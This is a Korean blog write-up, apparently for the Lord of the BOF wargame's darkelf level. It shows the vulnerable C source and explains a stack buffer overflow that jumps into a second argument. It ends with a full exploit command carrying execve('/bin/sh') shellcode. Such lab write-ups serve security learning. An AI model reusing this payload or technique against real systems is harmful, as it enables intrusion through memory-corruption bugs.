Pwnable/LOB

[LOB] wolfman 문제 풀이!!!!

RootJJang 2022. 5. 13. 13:04
SMALL

Überprüfen Sie den Quellcode!

 

[wolfman@localhost wolfman]$ cat darkelf.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

이번 문제도 저번 문제와 코드가 비슷하지만 하나가 더 추가됐습니다

 

//checkt the length of argument 부분을 보면 인자값의 길이가 48보다 크면 프로그램이 종료되네요!!

 

엄... 그럼 환경변수도 안 되고, RTL도 안 되고, 뒷공간도 사용을 못하네요..

 

근데 코드에서 첫 번째 인자 값의 길이만 받아주기 때문에 두 번째 값을 막는 코드가 없기 때문에 RET에 두 번째 인자 값의 주소를 넣고 인자 두 번째에 적당한 NOP과 쉘코드를 넣어주면 됩니다!

 

한 번 gdb로 두 번째 값의 주소를 구해보죠

 

똑같이 strcpy 호출 후에 bp를 걸어주고 난 후 주소를 알기 위해 값을 넣어줍니다

 

인자 두 번째에 값을 넣기 위해서는 페이로드가 저렇게 구성이 됩니다요

 

내리다 보면 아까 NOP Padding 해준 부분이 보이는데 저기 중 아무 데나 대충 주소를 잡아서 RET에 넣어주면 됩니당

 

저는 0xbffffc34로 해주겠습니다

 

이제 페이로드를 짜보죠

 

Payload = dummy[44] + 0xbffffc34 / dummy[100] + 쉘코드

 

최종 페이로드 = ./darkelf `python -c 'print "\x90"*44 + "\x34\xfc\xff\xbf"'` `python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

 

LIST

'Pwnable > LOB' 카테고리의 다른 글

[LOB] orge 문제 풀이!!!!  (2) 2022.05.15
[LOB] darkelf 문제 풀이!!!!!  (0) 2022.05.13
[LOB] orc 문제 풀이!!!!  (0) 2022.05.13
[LOB] goblin 문제 풀이!!!!  (0) 2022.05.12
[LOB] cobolt 문제 풀이!  (2) 2022.05.12